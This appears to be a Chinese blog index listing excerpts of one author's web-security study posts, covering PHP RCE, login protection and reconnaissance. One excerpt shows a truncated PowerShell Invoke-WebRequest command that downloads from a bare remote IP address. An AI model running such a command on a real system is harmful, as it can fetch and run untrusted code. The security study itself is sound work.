安全开发-web应用-PHP-模版-RCE安全
mikuku2个月前64
叽里咕噜不多说，直接开干，这个新闻列表呢其实和前面留言板功能差不多，首先我们肯定是要用数据库来存储新闻数据，然后通过调用来让他显示在浏览器中，或者是给他添加id，让用户自己选择看哪个新闻，但是由此而来...
安全开发-web应用-PHP-文件访问和操作
mikuku2个月前57
前面我们学习了php普通的留言板功能和登录的操作，还学习了三种身份验证的小知识相信经过自己的敲敲，已经对这部分的相应漏洞已经有所了解了，哪些地方有漏洞，哪些地方可以注入，学习开发就是了解这些最基本的原...
安全开发-web应用-PHP-留言板与登录防护
mikuku2个月前104
当你获得了目标的源码，这时候代码审计看不懂了怎么办，这时候就要学习到奇妙的web开发了，然后学会之后就可以转行去做开发了，当什么网安工程师（狗头）对于我们而言，我们要学习的语言就是通常web开发中经常...
泄露资产补充-信息打点
mikuku2个月前63
这个只是对前面的一些补充开发泄露-GIthub监控文件泄露-网盘全局搜索架构泄露-目录扫描-爬虫其他泄露-公众号服务资产收集进阶-证书&图标&邮箱首先根据实战整理思路，这个来自小迪哈，...
这是一个一个什么东西
mikuku2个月前67
嘻嘻嘻powershellpowershell.exe -Command "Invoke-WebRequest -Uri http://121.43....
APP信息打点-如完
mikuku2个月前81
APP资产对于app的信息搜集，我们首先肯定是通过目标来判断的，看对方给你一个什么东西，比如一个网址，或者直接是apk文件这种，首先就是对于这个有个判断，他跟web不太一样的就是需要判断对应资产是否是...
web信息打点-完成了-但是没完成
mikuku2个月前106
这个专题只是简单的信息搜集，具体的漏洞利用到后面再讲js系列在Javascript中也存在变量和函数，当存在可控变量及函数调用即可参数漏洞JS开发的WEB应用和PHP，JAVA,NET等区别在于即没有...